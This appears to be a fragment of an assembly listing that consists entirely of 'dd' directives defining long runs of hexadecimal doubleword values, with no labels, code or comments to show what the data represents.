dd 210BE33Fh, 0E18D2C53h, 0A090F6A7h, 283E9D28h, 3C2F1E77h
dd 0A8A2A021h, 0AA42E020h, 0EB669ED9h, 77CFA3BAh, 4B938DEh
dd 718FCA81h, 66203B82h, 7FAA38Eh, 928BDFC5h, 1609B2D5h
dd 0FC13F0CBh, 7541657Eh, 4AAD6086h, 8FA7BAA7h, 3532BCAFh
dd 481F3B87h, 3C7BEBC4h, 1264A998h, 99175A68h, 0F08A7C69h
dd 32BA14ACh, 0F9647ADEh, 0B97189D7h, 0D1B36062h, 5EB4F70Eh
dd 0A591AAC4h, 0A4C34663h, 48AE0CA1h, 0C8F860DFh, 529BF576h
dd 0EBB98BDCh, 0E6ECA3F0h, 0C2FF1B0Ch, 9EE2F19Ah, 5B0E549Ch
dd 1ADDCB29h, 4F8491A1h, 0CB2CE972h, 6F42E0FBh, 0B8AE6121h
dd 11D6A316h, 8EAA24AFh, 0B8116BF1h, 0BFD9EE09h, 5ABAEB9h
dd 0F69518A5h, 8FE886h, 47811970h, 0DCDD8D2Ch, 0CE2A6F74h
dd 644D8429h, 956D2E9Ah, 76F6801h, 52FD219h, 38C0304Ah
dd 7BE31D8h, 821E996Ah, 822CC302h, 0D3737809h, 0F5AB3B85h
dd 4E9F4070h, 72C54417h, 1B59A7FDh, 3BBB9933h, 80A1DD92h
dd 57C612E2h, 0E9361689h, 0B666A98Bh, 0B273F926h, 0A9847395h
dd 2F85742Dh, 0E89FB257h, 0FEAB71BCh, 660F96CAh, 30BAF22Dh
dd 0F2B21B1Fh, 50918310h, 39F30B81h, 0FC3EC4BFh, 4BFF2230h
dd 58184087h, 0C19C9295h, 0EC494772h, 39DFFF87h, 0A0DF6632h
dd 29FF6F5Bh, 0F63EFFDEh, 0A9503F44h, 7ECC89B6h, 0FFA9CC85h
dd 0CE9FB8DCh, 0D6931293h, 6A300E10h, 30C30DB3h, 0B0F730F8h
dd 1A4EF6D3h, 3A3C59ABh, 55BF63A4h, 3996C051h, 53F3EBD4h
dd 9F04B85Bh, 0D5B4CF50h, 0E45C2432h, 3A586DF2h, 0D0C6DC36h
dd 8282BFAFh, 0D3A636CEh, 7EEA3233h, 72E63F20h, 0BB481170h
dd 0F1986ADh, 8E526E64h, 0B3840272h, 717639F3h, 2378F2C4h
dd 0E37ED227h, 36883D6Ch, 0F9D3E651h, 31D10EDEh, 6477E9B5h
dd 0FB225662h, 220CA6C5h, 18A59BE3h, 0A7B6D8F0h, 63F01380h
dd 7841AB59h, 487366A4h, 0E8A22254h, 270216CBh, 0CFE32034h
dd 2C1C341Fh, 74F9E849h, 0EDBF9EFFh, 2B979C78h, 441ABDE6h
dd 76B80EDh, 66FC7198h, 18B3B01h, 719E4BAEh, 0FC9592DFh
dd 0BE142A77h, 2D0D0706h, 55056568h, 0CFDBEC15h, 9E67E7B3h
dd 0B51B0D24h, 53169E88h, 0E1E01747h, 6BE31132h, 116DEEABh
dd 0FE0E90F2h, 167A52BCh, 0FAD2A5A3h, 9C96C17h, 859F39D7h
dd 6A294105h, 0D1AA5481h, 234F088h, 8DF91D86h, 217D2E1Fh
dd 7DB0B5BCh, 633BE227h, 0C540AAF2h, 6E7A5D45h, 256FA61Eh
dd 10629F62h, 0D8EE737Dh, 402AFBC6h, 0D24019B7h, 0CE859EDBh
dd 0A888D6F9h, 7A081306h, 0A632CE75h, 0A789BA1Ch, 113E9105h
dd 97C89F18h, 63B95E55h, 0B889BF6Fh, 74F0C88Fh, 7798843Fh
dd 652840F8h, 0B70C0727h, 0FEDB4144h, 7B68E2A4h, 0AD30795Eh
dd 5DA0376h, 0FC712A91h, 567F0C5Eh, 0B749BA0Bh, 18C11F1h
dd 0AF1ABA30h, 300C0FBDh, 0C58A9513h, 80030E2Dh, 35E25B7Bh
dd 59E7C5CBh, 732114D4h, 67BBE338h, 9F713B66h, 0CD9EA0F5h
dd 1105B2B3h, 0B7FD8537h, 0C399C6F0h, 0B828C9F7h, 0CD5B008Eh
dd 3640B9D0h, 256EB6DBh, 45F23DD5h, 0A0492C90h, 0D436A14Ah
dd 0AC8CF3B7h, 0A110CB61h
dd 0B053A50Ch, 0B5C78063h, 0F8570D44h, 0F6B145CCh, 0DC55F2C4h
dd 0E81E856Bh, 256AC45Ch, 0D88BB736h, 18D2C1C4h, 8F8189A0h
dd 1083F0AAh, 1C012337h, 6EE966ECh, 48B08BA5h, 0F555FC1Fh
dd 5529EAF1h, 19A7F5B1h, 4D06DE9Dh, 573A7562h, 992A4EAh
dd 0BF79F415h, 0DD29A119h, 3AF42506h, 9222B333h, 0B3DC509h
dd 0A711B091h, 496563B6h, 22699ACBh, 98714E31h, 4B4CECB0h
dd 0B9CCB5B0h, 0E340E0B8h, 7522C94Ah, 0B8769E5Ah, 907CE922h
dd 14AC0454h, 569C9A59h, 0EECC103Ah, 0A55BBBE8h, 0CA9CE609h
dd 2676B142h, 549BB8B9h, 0A2CFF572h, 8DCD1EDFh, 4960FC0Eh
dd 64020DB4h, 2664F39Ah, 6FBC0BBFh, 9AF6BCB0h, 0CBAD80F8h
dd 37BFF5E1h, 6714C7BCh, 0A4A1CDCFh, 2F12370h, 0AE49A324h
dd 387E4DB1h, 287D2452h, 0BDFAFD3Ah, 0B03BFA51h, 6EC008AAh
dd 0C5855FFFh, 1E12CED5h, 3D0B5FFh, 0D7E3429Ch, 6D13A40Eh
dd 95F26E4Fh, 1B94923Eh, 688D19F8h, 7D774DA4h, 0AB1416AAh
dd 0C62C0E2Bh, 0ADB9C933h, 77A96440h, 31A7479Fh, 5B69B531h
dd 9CB86C7Bh, 8460D4EAh, 0AA1D6728h, 0BA1A5512h, 54535194h
dd 5FA39A60h, 57B1649Ch, 0EE8BD694h, 9BFB0715h, 99FE3D21h
dd 2DB7EEB7h, 7E8A3A4Ah, 11421744h, 0DC7D9E3Ch, 0E64E3563h
dd 413627B8h, 8DFD8A2h, 4FABFF66h, 7167D7h, 62050C01h
dd 70299255h, 0CC6BD066h, 481C32F7h, 0BC88FF71h, 0EFB98827h
dd 6DF0B0B8h, 70130A6h, 1D45F950h, 764798C5h, 31871DA6h
dd 0AA78F849h, 0DE790B0Ah, 91C4006Ch, 3EE235B4h, 0DF389593h
dd 0E9F6E95Ah, 9E3C361Ah, 1A9A823Fh, 0FEA9D6DFh, 8A979F58h
dd 93BC4F8Ah, 88ADD068h, 796F8DDFh, 293557BAh, 97A75BEEh
dd 64FCE562h, 0D5D40483h, 0F705E2A4h, 0AF5BB6CCh, 0B2791D7Fh
dd 33FC57D8h, 3977FAA0h, 13F02542h, 4DCBB694h, 0ACF889DBh
dd 5AD16B0Ah, 6EB60F99h, 55D8586Fh, 19E3A47Bh, 0EDB6EC31h
dd 0E656FD53h, 5E1E0B21h, 0AF8A40ADh, 2ACCBBA9h, 6355E23h
dd 0F75B6C7Fh, 92CF789Dh, 4A31B22Ah, 58EEA136h, 0A154D980h
dd 0B8C62817h, 409F528Ch, 0B4A7B74Eh, 77EFCDABh, 9113FC87h
dd 9DCA27B8h, 45E4F8Dh, 0C4F26B34h, 0BF919C1Ch, 2668AB8Fh
dd 91710670h, 0D86FAC51h, 0E12C2CD7h, 89AC18C4h, 0FE81B9C9h
dd 0A2B684F8h, 8A076A45h, 0E63116Fh, 8B5A4694h, 66BCD810h
dd 825987CAh, 201F555Ch, 0B6654A69h, 0A73CED08h, 9800D26Dh
dd 0BB32AE20h, 2197CEFBh, 13F69B09h, 0BA6E1665h, 0F21E76DAh
dd 39A76A11h, 4261C08Ch, 0F6393FF7h, 0FF7AE70Ah, 5F27B287h
dd 398777E0h, 898FF8BAh, 0FABFFC4Ah, 0DBB70EF6h, 0F14E49C5h
dd 844288ECh, 0DBC34345h, 0BD2E8A8Ah, 0D7E923FFh, 0D4FBCEA8h
dd 0A1AA4F59h, 6565105Bh, 0A184860Ch, 0E42D0F3Dh, 2F3257A7h
dd 7D576B55h, 0D3CA7C28h, 5362EBC6h, 0A466A8B2h, 21D77E36h
dd 0D18D9EBDh, 93E0C2E6h, 0AFE5F6F1h, 176F3375h, 0E2896577h
dd 0CE3B6370h, 3B341D9Ch, 17C4B2F5h, 6BA6EC42h, 0E062190Dh
dd 0E2E157C5h, 0F95D0F85h, 8B25ED9Ah, 377A2407h, 73FFC4F3h
dd 670D741Dh, 1CABAB0Bh, 0E7F054D8h, 377504FAh, 9FFCFF15h
dd 9AF11C7Ch, 474A00C3h, 0D232F2AEh, 0F7555B4Fh, 0E8C815C4h
dd 6A1529BEh, 5E106B91h, 0B2CD2A8Eh, 0F504FA09h, 6E828AF2h
dd 80EBE936h, 43719C11h, 492328A3h, 98BF49FEh, 629449DBh
dd 318D65EEh, 5A578C87h, 0A1DA3E14h, 0E1BEBF76h, 0DEE38DF9h
dd 0BE74CB7Bh, 0FA39D2F4h, 985F7DFBh, 4CEB8834h, 888288DEh
dd 37AFC281h, 13D8461Ah, 27002631h, 7CD9B65h, 90223DB6h
dd 14CC9F8Ch, 0FFD54928h, 5A4E44Ah, 93CA7FEDh, 1437C9A4h
dd 0C9023D9Ah, 7FB6CAE4h, 9CD432B3h, 0AFDA6B90h, 0BD6B980Dh
dd 0FD9ABE00h, 0BD92F72Ah, 0F35A7EEh, 67406662h, 747F486Ch
dd 6818D8F4h, 9B386E92h, 0C483ED8h, 0CA0542D1h, 847520F0h
dd 0ACE3E967h, 0DAD5430Ch, 1FBA7A01h, 0C4993233h, 36661525h
dd 983260A1h, 0BE28E4D9h, 6FD84F7Eh, 0DE8AE81h, 91902667h
dd 0AD9FD2Dh, 4A7284C2h, 9989DA16h, 44BE0F99h, 3F8B2BEEh
dd 0D6DCF1A9h, 0B20E530Ah, 228C794Fh, 2225D16Bh, 0FE1F6088h
dd 0B9679871h, 60561931h, 33DE27Ah, 7B8D98A1h, 0E49EB936h
dd 0C30D1C03h, 667AB1A4h, 19B02C34h, 0AC731B28h, 5F26A99Ah
dd 58E60E63h, 0BB72F93Bh, 525CCA88h, 127FF903h, 108266BCh
dd 3F84D848h, 5BC17E1Eh, 7C33C28Dh, 3180C4EDh, 0E86D44ECh
dd 0F22E2DC7h, 845122E7h, 79B0141Ch, 0F45EE330h, 0E06BC427h
dd 5DD6EECCh, 93AEF868h, 0C71063F5h, 212A17FFh, 6DBA35C4h
dd 489EBBC6h, 6F5BB121h, 0F1076AD9h, 0DBD15D77h, 4318C20Fh
dd 5320BBBh, 23862F6h, 62E3EB87h, 337A4E8h, 80D22483h
dd 7AC42D78h, 1F8222A9h, 0CE8DF03Dh, 0C0D694B1h, 9023725Ah
dd 4F134A97h, 1FDB5BCCh, 841F73Ch, 10D1E39Eh, 0A6139F08h
dd 0D7734351h, 66CC25D6h, 0E056BA9Ah, 0FE7DFD1Ch, 0D1BFA28Ah
dd 95AF85DDh, 8498CFD9h, 675953B6h, 2FEA6F2Dh, 0DB5FCDFDh
dd 980EEE3Fh, 7F9F7B2Ch, 38C73D58h, 3BFDB902h, 7D260236h
dd 27D8201h, 93733009h, 3D56B2F4h, 0A42178BAh, 5DC26320h
dd 0A46344F9h, 0F9059423h, 0C31839ADh, 394BD439h, 9BC36D4Eh
dd 0E79AD90Ah, 0B6F4194Ch, 0A782DD79h, 1530CB47h, 0C0D26583h
dd 0A9E5A870h, 1E394188h, 44178540h, 1E33B7E3h, 0F86525FDh
dd 0EEC3ABDDh, 2282CF83h, 0D662E625h, 90BFB947h, 0AC03D063h
dd 0E40E17BDh, 2D142A73h, 0E8E50100h, 3E008051h, 0F261A5A1h
dd 0DFF52F0Ah, 9FD7E70Eh, 5455E0FDh, 97D319E4h, 0D5792B4Bh
dd 3AE072F3h, 0F69D8980h, 35BF7C7Eh, 0BF5AF046h, 3A500CE0h
dd 54A0C193h, 52674E8Eh, 0B7ED3D66h, 44E0F78Ch, 30EE09FFh
dd 8AEC0149h, 0B5BE8FACh, 4A321FCBh, 0B2C088E1h, 0DB666C3h
dd 0AE45418Ch, 77F17790h, 0B1898D1Eh, 0EAE0A943h, 4B195052h
dd 6E201BAFh, 9547F074h, 4DF82364h, 0E1D9F47Ah, 0BADE7500h
dd 9384138Ch, 741A779Fh, 36A78C6Ah, 0A99D8380h, 47EE58FCh
dd 3AF9D4BFh, 5DEC584Ch, 90F16EFFh, 23090DB5h, 639819Dh
dd 0E71E3F9Eh, 8F40C291h, 49752CFDh, 70B293ACh, 0E996B03Bh
dd 41010378h, 3071A95Bh, 77B4C33Fh, 322FD94Fh, 1F484564h
dd 0D479F6D1h, 0FA05C52Ah, 111DCB59h, 0CE2881A5h, 44BE43BAh
dd 0BB7067B3h, 84BDD975h, 8A584F13h, 0F11A863Ch, 18D0564Eh
dd 22D8B880h, 72FF5156h, 6EF527C3h, 1DFBC3C4h, 9A9D9E82h
dd 83078881h, 0D582BE7Dh, 0E516667Eh, 0FFBFD49Bh, 9E2811A3h
dd 6BD4FFD9h, 5499ACAAh, 0FD3CCAE6h, 8911267h, 29516F6h
dd 2DC25E21h, 0EE71D75Fh, 21F30F46h, 0EA79D999h, 84AE7D82h
dd 1D22EA8Fh, 0E719BFD7h, 0F033E641h, 735C31C8h, 4C824A6Dh
dd 83F9588Fh, 1388AE77h, 0FC187D02h, 75F80EA4h, 0F61FFE7Dh
dd 5CED5CA4h, 0AC134279h, 9922C345h, 79437275h, 9A8ADB7Fh
dd 60E1B486h, 0ADB310B9h, 0E086EE46h, 53ADFCAFh, 4CA51A53h
dd 2835EC95h, 2AB714D0h, 4F3F1026h, 0B77265C1h, 43C6666Ah
dd 0A1F26D21h, 0D0D0602Fh, 6300E40Ch, 0E068D76Eh, 4F8F3F1h
dd 5E37EC39h, 0C3EA35D7h, 9C5C7EE0h, 0E5FF2477h, 0F7BD61F9h
dd 8B7DBD5Ah, 78D67825h, 4A547AC2h, 73DD2C68h, 1096C4C0h
dd 0AF20BC8Bh, 0A3EE3032h, 842B18A7h, 89259557h, 3F684E82h
dd 0C2C8904Bh, 4F6D2129h
dd 7FD82B3Dh, 0A37680D0h, 5DB4D09Ah, 0F621DC8Ch, 488AB214h
dd 20321C28h, 2637E4D1h, 65062495h, 2C621CD0h, 64A6AF3Fh
dd 9DCB2F4Bh, 44667647h, 0C9F951E9h, 9C3F774Ch, 58703D3h
dd 4869C14Ch, 0BA6E3988h, 44995864h, 326557CAh, 0B2B6B815h
dd 0AF30795Bh, 0DA0D7F3h, 5D0C653Bh, 9151F2C0h, 0CFE2983Fh
dd 70C67A73h, 20450B99h, 0D8C8B963h, 0D66CCBCFh, 0D742F9F8h
dd 95BFFE97h, 61AE893Fh, 0F87C2C02h, 0AE649978h, 82065325h
dd 0B1AA5876h, 0B4E95C69h, 5E88AB1h, 0C62DE47Dh, 0A920BCF7h
dd 0F9953D96h, 1A60670Dh, 0B024A652h, 0D5D6FEE4h, 7837B911h
dd 68A73C32h, 0A2265E35h, 7D3F38D8h, 0E8651D2Dh, 63F76C7Ah
dd 9E0F1548h, 658DED96h, 3DE9EE49h, 0EEC50A1Fh, 4496A487h
dd 9CB7CC1Bh, 0BCF934DCh, 4C15C426h, 0A555C319h, 0A9662B42h
dd 4E3D6D7h, 25FB8BBCh, 0E0C80317h, 0F4737B3Ch, 0B85A43Ch
dd 76FAAE3Ah, 8FC24866h, 0A05E8AB9h, 3D8C546Ch, 0EBA63204h
dd 0B500D91Dh, 0B1532179h, 3E8E9875h, 5D1FB1AAh, 4CB1F3B0h
dd 0BFD67ADFh, 0BEE73533h, 0FAB7050Bh, 0F0C70506h, 703442A0h
dd 2DA09A83h, 0E0000518h, 651EC901h, 2861CF3Ch, 0FB203E28h
dd 0C9638B8Ah, 0CA7630EAh, 9A7A21DAh, 0B072C85Ch, 0BA0602AAh
dd 19879CBBh, 1AFCFAFFh, 0D8800827h, 119263F7h, 0B5C545E9h
dd 0E277D86h, 0B84115FBh, 0B3C31F51h, 0C32253B8h, 0F9BD39E8h
dd 72A09AB9h, 86AD782h, 0E928BB25h, 0E568585Eh, 59205379h
dd 82D22758h, 0A186200Dh, 0DF538B6Bh, 0D48ABDCAh, 5DEFD800h
dd 6FB7AA2Ah, 0B2A195A1h, 48F768B1h, 2B4C6C8Fh, 3DFA3DC6h
dd 0D33CA8CBh, 5D1120Fh, 0D1FFE4F1h, 9257FA3h, 35D450FBh
dd 0D50EC4A2h, 497F442Dh, 3536A126h, 0AE67B924h, 0C4090635h
dd 0A92C1F90h, 4E07361Dh, 16A21CD8h, 9D488C66h, 0A4EE90A6h
dd 0F200C6D5h, 0A9391351h, 0C103A725h, 0D86D7EDDh, 0A9A8EF35h
dd 71114229h, 8836728h, 2FDB5D8Fh, 7E329DE2h, 0F207631Eh
dd 19EA6800h, 602E0E1Bh, 9FE82E5Fh, 3FD35D31h, 370F8B99h
dd 1AF4C324h, 0AE8E61E8h, 0AC3106E9h, 8505370Fh, 2303416h
dd 0D48B3A17h, 0C180A8DCh, 859FCAA0h, 0DDC5328Dh, 6992D43Bh
dd 0C2F5EE60h, 29F56C4Fh, 83E4C30Dh, 3EDE24ECh, 9AF52E39h
dd 3CB855FDh, 0E2283C93h, 0D7D1959Ah, 0D2D43614h, 36DA01Eh
dd 114FD65Ah, 0BA96E072h, 59ED1C18h, 3D32203Dh, 88900542h
dd 0C35577F5h, 9D55044Bh, 4009ADEh, 0D8EEA4BDh, 5122B9BAh
dd 0DC6DC6A4h, 0F2DF2736h, 8DC4DB38h, 63F49EE7h, 6EF0EF05h
dd 6E8C06E2h, 0E9719A9Bh, 6708014Fh, 0C5C2AB38h, 7BEE2C14h
dd 86B61668h, 3A43D0A9h, 0B8DCD94Ah, 4446F860h, 0BA76231Fh
dd 0C9161F46h, 793346B3h, 5458D97Ah, 1B114DAEh, 27354E24h
dd 9C68054Ah, 0E6928656h, 61270F22h, 0C9FF9CC4h, 4E03A17Eh
dd 17F0B561h, 0EB8587CBh, 3131FCA4h, 0D0713739h, 7670D947h
dd 37509BBCh, 0BD26FAB5h, 3DD9DC16h, 870B90DFh, 6B67C7D6h
dd 0A78448E3h, 0F5D2E58Ah, 370F7BC8h, 7C140EDEh, 0F57C0D38h
dd 4F00499Fh, 651DE974h, 5E8E3FFh, 0C11E39D8h, 65F538ABh
dd 1BDCEDCAh, 0DE0F7CAEh, 0FD964D12h, 0BEA22C0Ch, 0D8B24AE6h
dd 0F4D053EAh, 2F6DFBFFh, 5A12FC99h, 0F8591EFAh, 0E47305DEh
dd 0AA65C5EEh, 86514236h, 0C3AAE51Dh, 79F76481h, 879BF1Dh
dd 2538184Bh, 94D1B94Fh, 6DEC014Ah, 0C6585C47h, 0A64D4EE1h
dd 0C9B4F49Ch, 5B9C945Eh, 0D5F84A39h, 550DCA19h, 0E3BEF931h
dd 92A03F76h, 60305422h, 8A740E3Bh, 9835D360h, 7F9A11E5h
dd 37E8E49Bh, 7B634E3Fh, 3E6F73Fh, 1A20E274h, 0CD6EDFB8h
dd 55644022h, 9E31C01Bh, 0F2AFFBE3h, 4104A9EBh, 0AC6C1228h
dd 4DC8BC17h, 53982022h, 10BEB027h, 8BA3E11Ch, 18B0F8EEh
dd 38DF2259h, 0FC435215h, 0C0210224h, 0A44DC773h, 12235602h
dd 38537C13h, 3686E57Eh, 1F18F2Fh, 16D4BCCAh, 0C43BC07h
dd 17BADDE6h, 1AB63141h, 2C019A77h, 6303EAE7h, 0DF1B6C2Eh
dd 5A1C2F96h, 4869039Ah, 0F7F22B62h, 0C0E531AEh, 0FD116363h
dd 0A4914CA0h, 5B5173B7h, 98529EACh, 6B615776h, 0B845DC1Eh
dd 9A4F7BB9h, 0BEE39AC8h, 45FA6A96h, 15E7DED7h, 0E682B2BDh
dd 80B82894h, 0C0C2308Ch, 0A307ECEFh, 5548E29Ah, 1F898B59h
dd 988E0CFBh, 0A68F6751h, 0A4336CC6h, 757BB202h, 0E8C012F3h
dd 41D1EC11h, 6C8874C9h, 0D87686FFh, 0DACE4ED8h, 0CDAACD8Bh
dd 18B2CDC6h, 0B00D854Dh, 0A89FA9C8h, 45C0C4E2h, 0EDA1B7A1h
dd 5B201F32h, 0FE7E7267h, 24C0A94Ah, 9A2616C7h, 0CED084A8h
dd 0A052C0F7h, 0A14C11Ch, 0C91438ABh, 7A6D5251h, 0D767B998h
dd 0A21EFF75h, 12F745E6h, 1F26678Fh, 0F343F58Dh, 15C1D332h
dd 61EEC7FDh, 494CA92Dh, 8EA051B8h, 0AB392AACh, 67D1E4FAh
dd 0A599ADDBh, 90EFF103h, 0DDACB37h, 0B6054876h, 77E0455Eh
dd 0C94750F3h, 71CE6B72h, 0A84B8A82h, 0C52378CBh, 0F6A1D3C4h
dd 77CC3045h, 52B0DCh, 4A24BF6h, 0FF90B281h, 9DFB52ACh
dd 35879133h, 17AADF4Dh, 5CAE3CD7h, 0EB3F0B4Dh, 73BE6DD7h
dd 0E8628FC8h, 3A99ADE4h, 18F0A199h, 447BE33Ch, 0EADB0DF1h
dd 5D67A928h, 76D12551h, 0BA0917DCh, 8DC3D440h, 433E7F99h
dd 0A1E01BB8h, 3E65F68Eh, 0AF8D4A5Ah, 0E51F69A3h, 5368D97Dh
dd 44D5856Ch, 0E15FB74h, 86ABC155h, 67FF367Bh, 0F198BAFCh
dd 9A0CA5DAh, 848FCA98h, 6EFB0A3Ch, 106638F3h, 8E7D68CAh
dd 9B364853h, 0FC0F6ABh, 12517CD1h, 99A4D0CAh, 0AAE86C40h
dd 4EE11B24h, 0AC3D9B2Ah, 12B959B0h, 61630668h, 29ED6AFDh
dd 73170E74h, 669F60F1h, 12CDABD3h, 0BA14F36Fh, 25EA8F27h
dd 165BA813h, 0EFF49ABBh, 0FAC9F4F2h, 0A92DE3CAh, 98E1F35Eh
dd 0B7CCE463h, 0B618257Ah, 36519F7Eh, 5568430Bh, 0E3C032E9h
dd 2945522Dh, 2B1AE55Bh, 108D4848h, 0E1D374ABh, 48E654E1h
dd 91BEA38Eh, 7C3276F3h, 2220F826h, 631972CBh, 661747A8h
dd 47F7F2A5h, 0B4702B82h, 997A0A56h, 0C7874D21h, 0DABFD6CCh
dd 0D0B33869h, 608FD21h, 0A9AB6C7Dh, 5471BE6Ah, 0A471FCC7h
dd 7D81263Eh, 3F1B1935h, 3F92E2D8h, 589990B7h, 62428F2Ah
dd 0BD7254ACh, 0B9A612B5h, 3441D87Ah, 0CE677B30h, 0D6A8E674h
dd 0C6D983C8h, 8C9E864Bh, 866BBFA7h, 0C350A1CEh, 0CA95ABBEh
dd 0D498782Eh, 0E71CF1B8h, 0D4B6C567h, 4444CAE5h, 62A2346Eh
dd 0F3BE116Fh, 43C04B9Dh, 0E3710497h, 0DFC01D1Ch, 0D3E165F0h
dd 0F3C1C038h, 7A9C15E6h, 0B0368493h, 0C8231CC9h, 0EA030D85h
dd 88E434ABh, 5CC3AB17h, 632BF02Dh, 0DDEB575Bh, 5340C901h
dd 304C2279h, 49172E65h, 0A64371ABh, 482826CBh, 59EA2588h
dd 470ED660h, 1BFFB3CAh, 1C995775h, 38EF7CD4h, 52498E63h
dd 0FAE77AD9h, 71C61950h, 43712959h, 0F6B1AF1Bh, 0BDE66BE5h
dd 2DFB7617h, 8CFF5EB7h, 0E4912F08h, 0BF9502D4h, 0DEDF4895h
dd 62DC1965h, 0EECDF7E0h, 62DB5D6Bh, 0E8B3831Dh, 59C9DF68h
dd 0F17DA040h, 0CAFF7D4Eh, 3E516878h, 64E1917Eh, 4D279332h
dd 0BA2136E1h, 59C3EA86h, 27C33F15h, 0A24F4066h, 0F3A3739Bh
dd 0DD0533CEh, 0EE713A7Dh, 44493E6Ah, 3112BE19h, 0FFAFFE5Ch
dd 91A0F0CBh, 898CF166h, 0B27549F8h, 3CBE0FB0h, 0A681A822h
dd 0BC98CF1h, 1F8A85A9h, 7DDC209Ah, 0D86DE26Fh, 0E4ADFE9Bh
dd 5347968Fh, 57EEF043h
dd 846195CAh, 14E175D2h, 0BDF888A3h, 5FA048C3h, 6CB88CE5h
dd 0B11F74E0h, 0A13E1397h, 1CC8A6C6h, 806B5226h, 2D4A8FCCh
dd 1452728Bh, 0DBFC8DDAh, 71BD86A6h, 0FD2B8529h, 5A95FC35h
dd 0F341DC17h, 44C4A58Eh, 2086DF96h, 57470785h, 13F1ACA7h
dd 6F6475BEh, 0D003B230h, 0F31BE63Eh, 0BB54F193h, 28E5F07Ch
dd 74A423B1h, 0DE0891A5h, 79805C90h, 145FE85Fh, 0CD455CAEh
dd 0E979382Eh, 767E6DB0h, 9590F4A5h, 0EF8CB43Bh, 152A9664h
dd 0BBF8886Ah, 6F7C1276h, 0BE76188Ch, 0C3055ABh, 0B18A03E2h
dd 0A838DA6Dh, 7F0D189Dh, 69B02486h, 3CA4A32Ah, 2DF07126h
dd 72EE26E1h, 6285EB86h, 61CFF816h, 0DCD0F1B6h, 0B4857D8Bh
dd 0E1429D64h, 9EB6A16Fh, 0D050C270h, 0EA04210Bh, 0EACCF6A3h
dd 506657C3h, 0E36A269Eh, 0C6190903h, 1EBD2B45h, 46795BDAh
dd 9C4C7358h, 0F2DD07ADh, 3CF3A82Bh, 560B99C1h, 26CE90AAh
dd 69EB6F77h, 812BFA26h, 0BB1FB793h, 37A6E86Fh, 5B8CC9E1h
dd 5C046F15h, 33ED8F74h, 63825328h, 0EC673791h, 4A368E3Bh
dd 1687C778h, 0BB56880h, 905C56C6h, 0D803227Bh, 1EF9DC7Dh
dd 0FC01D816h, 8C8EC676h, 59EA247Ch, 950B6566h, 96E7DC8Dh
dd 0C4075BE2h, 0D17C0F98h, 0AD3748ADh, 0C9A50B84h, 0B0E09C9Bh
dd 1998698h, 42A464B3h, 0DE956EB4h, 8D36D26Fh, 0F051A264h
dd 0AFD146B4h, 8D7DE125h, 0EAA4A9A5h, 2B9CAFEh, 3A72769Fh
dd 56CF3EDAh, 55EAABD9h, 0FCA07221h, 38745E88h, 4EF222AEh
dd 0D1B4D1A1h, 81BCAD85h, 186FBE9Eh, 3ABD1421h, 0BA7F9BFBh
dd 0E51F02FEh, 0FEE93EEAh, 0ABDA498Eh, 2F729ABAh, 2CF109DEh
dd 89215A74h, 4EDC65C2h, 46CE8F06h, 0EBEA282Bh, 0D4227093h
dd 0D63A4C3Fh, 0F35E07C8h, 0B01A42ACh, 0D5D6B1DFh, 9DF4C798h
dd 0D1F22F41h, 88A9E33h, 2B0935D2h, 71D98F10h, 1EA11E5Ah
dd 0AC545B36h, 6FB2F5ACh, 4650AD0Fh, 64420B05h, 6D8542EFh
dd 0B81EAD61h, 0CD78F001h, 0ACB5F227h, 24CAF06Eh, 4CD16A98h
dd 57326BB6h, 0F47C4519h, 0A1432AF7h, 39F9937Ah, 3C83987h
dd 66CFBE68h, 0C95C14BAh, 2E068D1Eh, 28396E00h, 82303B50h
dd 87B3059Bh, 0C6B30127h, 12CC2345h, 0A8011CAEh, 74B54E01h
dd 94943148h, 0B0D6A30h, 0FB282D48h, 16D722DBh, 0C6B53919h
dd 0A19C2D00h, 1DBDE2E9h, 0A1D8FDE2h, 44B6A142h, 0A625237h
dd 139B7662h, 0CEAC71C8h, 788D0B28h, 12FAF96Bh, 8085EFBBh
dd 0EBB7AC6Eh, 8F76E29h, 6C986CBBh, 520F1223h, 0C80DCCFFh
dd 0DFA21CDFh, 8E5BC70h, 0B47F004Ch, 82332117h, 0E10901F1h
dd 45367ACEh, 6422F49h, 6C84032h, 0EB899450h, 19D16BBDh
dd 833D4FD2h, 0EF45100Fh, 0AFBD5372h, 0B591C16Fh, 0D5986A69h
dd 766744ACh, 16ECA6C7h, 5B92A196h, 1D3301D8h, 3E2F8DBEh
dd 34D7C20Ch, 85C0DE5Ch, 0E52F7355h, 6C1EC6EFh, 35FA29CCh
dd 13CA9910h, 72BB11DFh, 92E05E9Ah, 9AE5EC18h, 4C1DFDDAh
dd 31C1E88Ah, 0EBA26272h, 98E43A18h, 9335BA13h, 0FF6B1257h
dd 0AF9988FFh, 6A41B796h, 16FA22A0h, 0B9B0F773h, 6E2A0B4Ah
dd 81DA9937h, 841B6BDBh, 0D89421C0h, 3D394C7Ah, 8D9B4C92h
dd 0D5F963ECh, 0A3F471D2h, 0BB05F986h, 0F43F6280h, 8869FD10h
dd 0A8125D0Ah, 1DC42395h, 68540135h, 595F7D08h, 7EFFBFA2h
dd 8A82703Bh, 0E885B162h, 288B98D9h, 0B7B8C566h, 78FBF89Ah
dd 0E752EB3Ch, 5294AB65h, 5253CF0Ah, 6CEC56D9h, 30804AFBh
dd 42DABAADh, 951157B0h, 0E42DA12Eh, 6B2A205Ah, 0CC6B74F3h
dd 0CD379F45h, 7F557213h, 60C44336h, 8BD1F844h, 0FE09199Ch
dd 47389075h, 0C2072B05h, 0E885E089h, 0D59B8D8Fh, 76E33F61h
dd 63255463h, 44124962h, 7940BD8Ah, 3CC97339h, 77AB84C0h
dd 943646BCh, 0C32340B4h, 38F19271h, 0A7262A55h, 79665D40h
dd 1A2A20Bh, 2CE08226h, 42D62861h, 2A1C8AFDh, 0B3648046h
dd 6225E34Fh, 0FDB5E80h, 80505B84h, 37B7170Bh, 0A0819F1Eh
dd 27298AA8h, 0F40E46B5h, 513ABE40h, 935CF727h, 0F5A3A4EAh
dd 0F976316Fh, 0C7A61550h, 0E091009Bh, 8CDB3148h, 0C8533A5Dh
dd 1F0F603Ah, 18D6E74Bh, 0C7C8983Bh, 44C5C036h, 0B59C9EF6h
dd 0B7DBA463h, 6C9F117Eh, 941B6D25h, 611E7F7Eh, 560DC584h
dd 0DE9B63FEh, 252036C6h, 0E1163BCEh, 0A83F1F94h, 0F6540B9Bh
dd 9323AFECh, 5C70F40Ch, 832FBF62h, 6E4ED4Fh, 0AC84AA50h
dd 1BAE3E93h, 6D15B37Fh, 0DFFE39F6h, 647C950Eh, 0F9DD458Dh
